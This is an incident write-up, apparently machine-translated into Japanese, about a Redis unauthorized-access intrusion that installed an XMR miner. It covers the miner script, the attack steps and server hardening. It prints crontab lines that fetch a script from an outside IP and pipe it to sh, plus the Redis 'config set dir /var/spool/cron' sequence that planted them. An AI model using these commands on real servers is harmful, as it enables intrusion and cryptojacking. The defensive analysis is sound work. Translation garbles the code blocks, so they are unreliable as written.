ブロックチェーンは非常に人気があるので、サーバーが受動的にマイニングされることには注意してください

ブロックチェーンは非常に人気があるので、サーバーが受動的にマイニングされることには注意してください



ある日、VPS サーバーで CPU アラームを受信しました。サーバーにログオンすると、gpg-agentd というプロセスが大量の CPU リソースを占有していることがわかりました。次のステップは、IO ステータス、ネットワーク トラフィック、メモリ ステータス、システム ログ、crontab などの定期的なトラブルシューティングです。crontab を確認すると、crontab には次のタスクがあることがわかりました。

*/5 * * * * curl -fsSL http://84.73.251.157:81/bar.sh |シュ
*/5 * * * * wget -q -O- http://84.73.251.157:81/bar.sh |シュ

このサーバーは、著者がテストするための Redis リソースを提供します。明らかに、上記の 2 つのスケジュールされたタスクは作成者によって作成されたものではありません。スケジュールされたタスクが外部サーバーにアクセスする場合、緊急時には次の 3 つの手順を実行します。まず、他のサービスが影響を受けるかどうかを確認します。 2 番目に、スケジュールされたタスクについてコメントします。 3番目に、外部ネットワークから一時的に切断します。その後、原因を調査します。

0x01 マイニングスクリプト分析


作成者はシェル スクリプトをローカルにダウンロードし、分析しました。スクリプトには次の関数が含まれています。

  • 私はあなたを殺します

  • ダウンロード

  • 情報

  • クロン

  • クリーン

  • 初期化

  • ITABLE

一つずつ分析してみましょう。 IKILLYOU 関数は、ssuspsplk プロセスと gpg-agentd プロセスを強制終了します。 CRON 関数は、ドキュメントの先頭にある 2 つの crontab を /tmp/.bla.cron ファイルに書き込み、ユーザーの crontab をクリアしてから、/tmp/.bla.cron ファイルを crontab に読み込みます。 FIRE 関数は、ポート 6379 に関連するファイアウォールを削除し、ローカル接続を許可し、ファイアウォール構成を永続化します。 INFO 関数は、現在のサーバー プロセス、サーバー ハードウェア属性、システム カーネル バージョン、Linux ディストリビューション バージョン、詳細な Linux ディストリビューション バージョン、Linux 標準仕様情報、crondb ファイルのヘルプ情報 (このファイルの役割については後で詳しく説明します) などのホスト情報を収集し、最終的に上記の情報を 84.73.251.157 の指定されたディレクトリにアップロードするために使用されます。

次に、DOWNLOAD 機能について説明します。この関数は、84.73.251.157 からcrondbファイルとcjファイルをダウンロードし、ローカルの /tmp ディレクトリに配置します。次に、重要なステップ/tmp/crondb -c /tmp/cj -Bを実行します。

crondb ファイルと cj をローカルに配置し、これら 2 つのファイルを分析します。

前述のように、INFO 関数は crondb ファイルのヘルプ情報を取得します。 INFO 関数ステートメントを実行してみましょう。

 ./crondb --help
使用法: xmrig [オプション]
オプション:
  -a, --algo=ALGO cryptonight (デフォルト) または cryptonight-lite
  -o, --url=URL マイニングサーバーのURL
  -O, --userpass=U:P マイニングサーバーのユーザー名:パスワードのペア
  -u, --user=USERNAME マイニングサーバーのユーザー名
  -p, --pass=PASSWORD マイニングサーバーのパスワード
  -t, --threads=N マイナースレッドの数
  -v, --av=N アルゴリズムバリエーション、0 自動選択
  -k, --keepalive タイムアウトを防ぐために keepalived を送信します (プールのサポートが必要)
  -r, --retries=N バックアップ サーバーに切り替える前に再試行する回数 (デフォルト: 5)
  -R, --retry-pause=N 再試行間の一時停止時間 (デフォルト: 5)
      --cpu-affinity プロセスアフィニティを CPU コアに設定し、コア 0 と 1 の場合はマスク 0x3 を設定します。
      --cpu-priority プロセスの優先度を設定します (0 アイドル、2 通常、5 最高)
      --no-huge-pages 巨大ページのサポートを無効にする
      --no-color 色付き出力を無効にする
      --donate-level=N 寄付レベル、デフォルト 5% (100 分のうち 5 分)
      --user-agent プールのカスタムユーザーエージェント文字列を設定します
  -B, --background マイナーをバックグラウンドで実行します
  -c, --config=FILE JSON形式の設定ファイルを読み込む
  -l, --log-file=FILE すべての出力をファイルに記録します
  -S, --syslog 出力メッセージにシステムログを使用する
      --max-cpu-usage=N 自動スレッドモードの最大 CPU 使用率 (デフォルト 75)
      --safe 現在のCPUのスレッドとAV設定を安全に調整します
      --nicehash nicehash/xmrig-proxy サポートを有効にする
      --print-time=N ハッシュレートレポートをN秒ごとに印刷します
      --api-port=N マイナー API のポート
      --api-access-token=T API のアクセストークン
      --api-worker-id=ID API のカスタムワーカー ID
  -h, --help このヘルプを表示して終了する
  -V, --version バージョン情報を出力して終了する

使用方法の手順を確認し、GitHub プロジェクトを検索すると、xmrig が Monero (XMR) CPU マイニングに使用されていることがわかります。次に、 /tmp/crondb -c /tmp/cj -Bにある cj ファイルを見てみましょう。 -c パラメータは構成ファイルを示し、-B はバックグラウンド実行を示します。つまり、cj は設定ファイルです。 cj ファイルを開いてキー プールの構成を確認すると、ユーザー構成が次のようになっていることがわかります。

423DEFLqFZwb4gm9fMHVY8dm8KMFXhkMHg5FBwi9nXfS6P5LCd7cArbV83Cmmwi7ouBHihZS74ckNbRDyGNruQAFBnNCeNK

これはMonero(XMR)ウォレットであると推測されます。

crondb を virscan.org にアップロードして分析しました。詳細なレポートはここからご覧いただけます。 Ikarus は PUA.CoinMiner、qh360 は Win32/Virus.DoS.dc1、rising は Trojan.Linux.XMR-Miner としてマークされています。これにより、これがマイニングに使用される実行可能ファイルであることも確認されます。

分析を続けましょう。次に破壊的な作業を行います。

  • /var/log/wtmpをクリアする

  • /var/log/secureをクリアする

  • 履歴実行コマンドをクリアする

  • linuxsyn、clay、udevs、psql、smartd、redisscan.sh、ebscan.sh、gpg-agent、gpg-agentd、kethelper などのファイルの権限を 0644 に変更します。

  • /tmp/unixinfect/imworking ファイルをクリアする

CLEAN 関数も破壊的な関数です。まず、/etc/security/limits.conf および /etc/sysctl.conf システム構成ファイルが変更されます。次の構成を追加します。

  • ソフト メモリ ロック 262144

  • ハード メモリ ロック 262144
    vm.nr_hugepages = 256

次に、RMLIST リスト内のファイルを削除し、KILIST リスト内のプロセスを強制終了します。 KILISTには何が含まれていますか?また、ウォレット アドレスやマイニングに関連するプロセスでもあります。この男は自分の利益だけを望んでいて、兄弟の生死など気にしていない、ハハ。次に、クレイジーキルが実行されます。これは、マイニングウォレットアドレスまたは関連プロセスでもありますが、このリストは少し長いため、ここでは繰り返しません。

分析を続けましょう。 INIT 関数は、nr_hugepages カーネル構成を変更します。 ITABLE 関数は、ポート 6379 に関連するファイアウォールを削除して、ローカル接続を許可します。次の CRON 関数は上記と同じ機能を持つため、ここでは繰り返しません。

最後に、スクリプトが最適化されました。 /tmp/crondb ファイルと /tmp/cj ファイルがないことが判明した場合は、ダウンロードを続行します。システムの GLIBC バージョンが要件を満たしていない場合は、アップグレードして LD_LIBRARY_PATH にロードすると役立ちます。次に、パスワードなしでログインできるように、authorized_keys ファイルに独自のキーを書き込み、その後の操作を容易にします。最後に、/var/log/wtmp をクリアし、/var/log/secure をクリアし、実行コマンドの履歴をクリアします。

Monero (XMR) は追跡不可能なため、ウォレット アドレスを通じて取引記録を追跡することはできません。つまり、ハッカーがそこからどれだけの利益を得たかを知る方法はありません。

0x02 サーバーハッキング分析


この分析により、採掘プロセスについてより明確に理解できるようになりました。しかし、疑問は、なぜサーバーがハッキングされたのかということです。

先ほどの分析から、スクリプトはよく知られている Redis ポートであるポート 6379 を処理することがわかります。 Redis の作者 antirez は、かなり前に「Redis のセキュリティに関するいくつかのこと」という記事を書きました。その中で、不正アクセスの脆弱性について言及されていました。具体的な脆弱性については、こちらの記事を参照してください。

VPS サーバーの Redis ポートにパスワードが追加されていなかったため、ファイアウォールがオンになっていたにもかかわらず、ファイアウォールに開かれた権限が多すぎて、ハッカーが攻撃の機会を利用できる状態になっていました。具体的な操作手順はどのようなものですか?

まず、VPS IP をスキャンして、Redis ポート 6379 があることを確認します。パスワードなしでログインしてみます。

次に、以下のコマンドを順番に実行します。

キー1 を "\n*/5 * * * * curl -fsSL http://84.73.251.157:81/bar.sh | sh\n" に設定
キー2 を "\n*/5 * * * * wget -q -O- http://84.73.251.157:81/bar.sh | sh\n" に設定
設定ディレクトリを /var/spool/cron/ に設定する
config set dbfilename ルート
保存

3 番目に、Linux サーバーが crontab に自動的にロードされ、スケジュールされたタスクが bar.sh スクリプトを実行し、サーバーがマイニングに受動的に使用されます。

RedisではAOFが有効になっているため、次のスクリプトを使用してAOF [1]をバックトラックし、KEYに書き込まれたキーと値のペアを確認します。

 #!/usr/bin/env python

""" Redis 追加専用ファイル パーサー
「」

インポートログ
輸入ハイレディス
インポートシステム

len(sys.argv) != 2の場合:
   sys.argv[0], 'aof_file' を印刷します
   sys.exit()
ファイル = open(sys.argv[1])
行 = file.readline()
cur_request = 行
while行:
    req_reader = hiredis.Reader()
    req_reader.setmaxbuf(0)
    req_reader.feed(現在のリクエスト)
    コマンド = req_reader.gets()
    試す:
        コマンドがFalseでない場合:
            印刷コマンド
            現在のリクエスト = ''
    hiredis.ProtocolErrorを除く:
        「プロトコルエラー」を印刷する
    行 = file.readline()
    cur_request += 行
ファイルを閉じる

この分析から、許可されていない脆弱性は非常に危険であることがわかります。そのような抜け穴がある限り、ハッカーは何でもできるのです。

0x03 防衛計画


ハッカーがどのように犯罪を犯すかはすでにわかっていますが、私たちはどのように身を守ることができるのでしょうか?ここで著者は自身の考えを述べています。

3.1 レディス


Redis の作者は、「Redis のセキュリティに関するいくつかの事項」という記事の中で、Redis の不適切な構成により不正アクセスが発生し、攻撃者によって悪意を持って利用される可能性があると述べています。現在、Redis への不正アクセスでよく使われる新しいタイプの攻撃方法。特定の条件下では、Redis が root として実行されている場合、ハッカーは SSH 公開鍵ファイルを root アカウントに書き込み、SSH 経由で被害者のサーバーに直接ログインしたり、crontab にスケジュールされたタスクを書き込んで有害なサービスを実行したりすることができます。これらの攻撃により、サーバーの権限取得やデータの削除、漏洩、暗号化ランサムウェアが発生し、通常のビジネス サービスが深刻な危険にさらされる可能性があります。 [2]

まず、ネットワーク層の強化には通常、次の 2 つの方法があります。

  • Redis はデフォルトで 0.0.0.0 にバインドされており、すべての IP アドレスがアクセスできることを意味します。推奨される方法は、ローカルマシンとイントラネットIPアドレスからのアクセスを許可するために、構成ファイルにbindパラメータを追加することです。たとえば、

 127.0.0.1 192.168.0.1 をバインド

注: Redis はバージョン 2.8.0 以降でデュアル IP バインディングをサポートします。

  • 次のようなファイアウォール ポリシーを設定します。

 iptables -A 入力 -s xxxx -p tcp --dport 6379 -j 受け入れる

2番目はアカウントと認証

アクセス パスワードを設定し、構成ファイルに requirepass を追加します。この設定はオンラインで変更できます。設定が完了したら、CONFIG REWRITE を実行して設定ファイルを永続化します。

3番目に、サービスの実行権限を最小限に抑える

Redis はデフォルトで root アカウントで実行されますが、これにより制御できないリスクが生じます。アカウントの分離を実現し、Redis サービスとホストのセキュリティを確保するために、権限の低いユーザーで Redis を実行したいと考えています。

調整内容は以下のとおりです。

 # redisユーザーグループを作成する groupadd -r redis
# redis ユーザーを追加し、それをシステム ユーザーとして指定し、デフォルトのシェルを /sbin/nologin に変更します
useradd -c "Redis" -d /var/lib/redis -g redis -m -r -s /sbin/nologin redis
# Redisホームディレクトリの権限を変更する chown redis:redis -R /opt/redis
# Redis 関連プログラムの権限を変更する chown redis:redis /usr/local/bin/redis*

最後に、Redis ユーザーとしてインスタンスを起動します。

 su -s /bin/bash redis -c "/usr/local/bin/redis-server /opt/redis/$port/redis.conf"

4番目は、サービスの承認を精緻化すること

Redis にはアカウント権限システムがありません。侵入を回避するには、サービス レベルのコマンドの名前を変更するか、ブロックする必要があります。

高リスクのコマンドは次のとおりです。

  • フラッシュDB

  • フラッシュホール

  • キー

  • 期限切れ

  • 削除

  • 構成

  • シャットダウン

  • BGREWRITEAOF

  • 保存

  • 保存

  • スポップ

  • SREM

  • 名前を変更

  • デバッグ

  • エヴァ

上記のコマンドを設定ファイルに追加して、名前を変更したりブロックしたりすることができます。

 # シールド CONFIG コマンド rename-command CONFIG ""

# CONFIG コマンドの名前を変更する rename-command CONFIG "XKGLx9LFl87mQQLVl0b7UI4VZJESG5iU"

5番目はセキュリティパッチ

公式バージョンや脆弱性リストの変更に注意し、タイムリーにパッチを適用し、必要に応じてアップグレードしてください。

3.2 サーバー


Redis 自体に加えて、サーバー上にも多くのセキュリティ ポリシーがあります。

まず、サーバーはデフォルトのポート 22 を使用しません。ポート 22 は SSH サービスのデフォルト ポートであり、ハッカーがサーバーの SSH サービスをスキャンするためのデフォルト ポートでもあります。 SSH ポートを変更するには、vim を使用して/etc/ssh/sshd_configを編集し、 Port 22パラメータを必要なポートに変更します。通常は5桁の数字が最適です。変更が完了したら、変更を有効にするために sshd サービスを再起動します。

2 番目に、パスワード ログインは禁止され、代わりに RSA 公開キー ログインが使用されます。ローカル マシンはssh-keygen -t rsaを使用して公開キーと秘密キーを生成し、公開キーをサーバー上の ~/.ssh/authorized_keys ファイルに追加できます。このファイルの権限は 600 であることに注意してください。SSH 構成は次のとおりです。

 RSAAuthentication yes # RSA 認証PubkeyAuthentication yes # 公開鍵認証を有効にするAuthorizedKeysFile .ssh/authorized_keys # ファイルパスを確認するPasswordAuthentication no # パスワード認証を無効にするPermitEmptyPasswords no # 空のパスワードを無効にする

最後に、sshd サービスを再起動して有効にします。

3番目に、rootユーザーのログインを禁止します。オンライン サーバーの場合、通常は通常のユーザーとしてログインし、su - root を使用して root ユーザーに切り替えます。これの利点は、たとえ攻撃を受けたとしても、それに応じた保護が得られるという点です。具体的な方法は/etc/ssh/sshd_config構成ファイルを変更し、 PermitRootLogin no に変更することです。

4番目に、サーバー監視を追加します。この記事のケースでは、CPU アラームに特に注意してください。さらに、異常なプロセスを監視する必要があります。

5番目に、ファイアウォールをオンにします。パブリック IP を持つサーバーの場合、ファイアウォール ポリシーを適切に実装する必要があります。通常、IP とポートを制限します。これは特定の IP またはポート、あるいは IP またはポートの範囲にすることができますが、特定の IP セグメントを開くことを忘れないでください。

6番目に、ソフトウェアは公式ソースからのみ入手してください。非公式チャネルからのソフトウェアには、他のトロイの木馬ファイルが含まれている可能性があります。正しい方法は、公式ソースからのみダウンロードし、ダウンロード後にファイルの MD5 値が公式の値と一致しているかどうかを確認することです。

7番目に、fail2banなどのツールを使用してサーバーのセキュリティを強化できます。複数のシステムのログ ファイルを監視し、検出された疑わしい動作に基づいてさまざまな防御アクションを自動的にトリガーします。

3.3 その他のサービス


VPS サーバーに MySQL などのサービスが導入されている場合は、ここでも多くのセキュリティ対策が講じられます。たとえば、匿名アカウントを削除したり、テスト ライブラリを削除したり、権限を最小限に抑えたりします。MySQL セキュリティに興味がある場合は、この記事を参照してください。

3.4 日常的なユーザー


VPS サーバーを持たないグループ メンバーは、どのようにしてセキュリティを確保できますか? VPS サーバーがなくても、PC または Mac がハッキングされ、マイニングに使用される可能性があります。以前、ブロックチェーン資産のセキュリティに関する記事を書いたことがありますので、読者の方は参考にしてください。この場合の提案をいくつか示します。

  • 不明なソフトウェアをダウンロードしないでください。

  • PC または Mac のダイナミクスに注意してください。 PC にはタスク マネージャーがあり、Mac にはアクティビティ モニターがあります。通常、コンピューターをマイニングに使用すると、CPU リソースがかなり不足します。

  • Chrome などのブラウザを使用して、注意しながら Web サイトにアクセスしてください。頻繁にアクセスする Web サイトに、いつマイニング スクリプトが埋め込まれるかはわかりません。

  • PC で、リモート デスクトップ共有とファイル共有をオフにします。 Mac では、ゲスト アカウント、ファイル共有、リモート ログインをオフにします。使用する必要があるときに開き、使用後はすぐに閉じてください。

0x04 概要


この記事は、サーバー ハッキング インシデントから始まり、マイニング スクリプト、ハッキング プロセスを分析し、Redis、サーバー、その他のサービス、日常のユーザーの観点から防御ソリューションを提供します。 Redis の不正アクセス脆弱性に加えて、現在、主な不正アクセス脆弱性には、NFS、Samba、LDAP、Rsync、FTP、GitLab、Jenkins、MongoDB、ZooKeeper、ElasticSearch、Memcache、CouchDB、Docker、Solr、Hadoop、Dubbo などがあります。セキュリティは最も重要であり、読者はそれを軽視してはなりません。

この記事に含まれる攻撃スクリプトに興味のある読者は、GitHub クローンにアクセスして確認することができます。リポジトリリンク:

  • クラック採掘

0x05 参照


  • [1] 白晨(2016-11-17). Redis プロトコルの概要と永続的な Aof ファイルの分析。 https://yq.aliyun.com/articles/64345から取得

  • [2] アリババクラウド(2017年12月4日)。 Redis サービスのセキュリティ強化。 https://help.aliyun.com/knowledge_detail/37447.htmlから取得



<<:  ラジエーターは採掘に使用できますか? Qarnot、パッシブコンピュータを内蔵した家庭用ヒーターを発売

>>:  マイニング事業のおかげで、AMDはNvidiaのGPU市場シェアの多くを獲得した。

推薦する

価格が高水準から下落、VC資金調達に障害

FX168によると、ビットコインの価格は木曜日(12月31日)のアジアセッションで横ばいで変動し、そ...

カナダロイヤル銀行、ブロックチェーンの試験を拡大し、国境を越えた支払いやスマートコントラクトも対象に

編集者注: 2月になり、世界各地の大手金融機関がブロックチェーンの実験に力を入れています。最近、JP...

Subi コイン、NeosCrypt アルゴリズム、新しい仮想通貨。グラフィックカードマイニングマシンはマイニングできます!

次世代 ASIC、プライバシー重視のオープンソース通貨。多層アーキテクチャにより、匿名性を重視した分...

3月1日、イーサリアムのトップ10のプライベートクジラアドレスは103万ETHを追加し、6週間で1日あたりの増加の記録を樹立しました。

ちょうど今、暗号資産分析会社サンティメントは、2016年7月以来、イーサリアムの上位10の非取引所ク...

インターネットエンジニアリングタスクフォースがデジタル通貨の送金のためのドメイン名システムを設計

Rage Review : 今月初め、Interledger は初の実際の支払いを実施し、いくつかの...

適切なマイニングマシンを選択することで、マイナーはどのように収入を増やすことができるのでしょうか?

2020年5月、ビットコインは3回目のブロック報酬の半減期を迎えます。最近の価格上昇と、国によるブ...

チアは国内だけで人気があるのでしょうか?グローバルボスはそうではないと言った

2021年に暗号通貨界を席巻した「最初の鉱山」をつかむというブームの中で、Chiaは今年のトップのイ...

仮想通貨マイニング「バトルロワイヤル」、年末の草の根「マイナー」

画像出典: Visual China 「今年、仮想通貨とマイニングの世界で合計700万元以上を失いま...

韓国の暗号通貨取引量は、2つの株式市場を合わせた量の2倍に急増

韓国の4大暗号通貨取引所の累計取引量は約45兆ウォンに達した。比較すると、韓国の2つの伝統的な株式市...

EOSはCoinColaに上場されています。 EOS の利点は何ですか?

デジタル通貨といえば、まずどの通貨が思い浮かびますか?よく知られている人気のパブリックチェーンである...

BitMEX CEO: ビットコインのハッシュレートは半減期後に30~35%低下する可能性があり、年末までに目標価格は2万ドル

注: 原著者は BitMEX の CEO であるアーサー・ヘイズ氏で、COVID-19 パンデミック...

中国の投資家が米国のビットコインスタートアップに投資する可能性

Google、Facebook、Twitter、Uber と同じくらい成功する可能性のある企業に投...

米国の鉱業会社Integrated Venturesは、2021年度の総収益が187万ドルで、前年比311%増となった。

8月24日、米国の仮想通貨マイニング企業Integrated Venturesは、2021年度の年...

Bitmain、究​​極のマイニング体験を実現する低消費電力チップ Antminer S9 をリリース

6月1日、世界有数のビットコインチップおよびマイニングマシンソリューションプロバイダーであるBitm...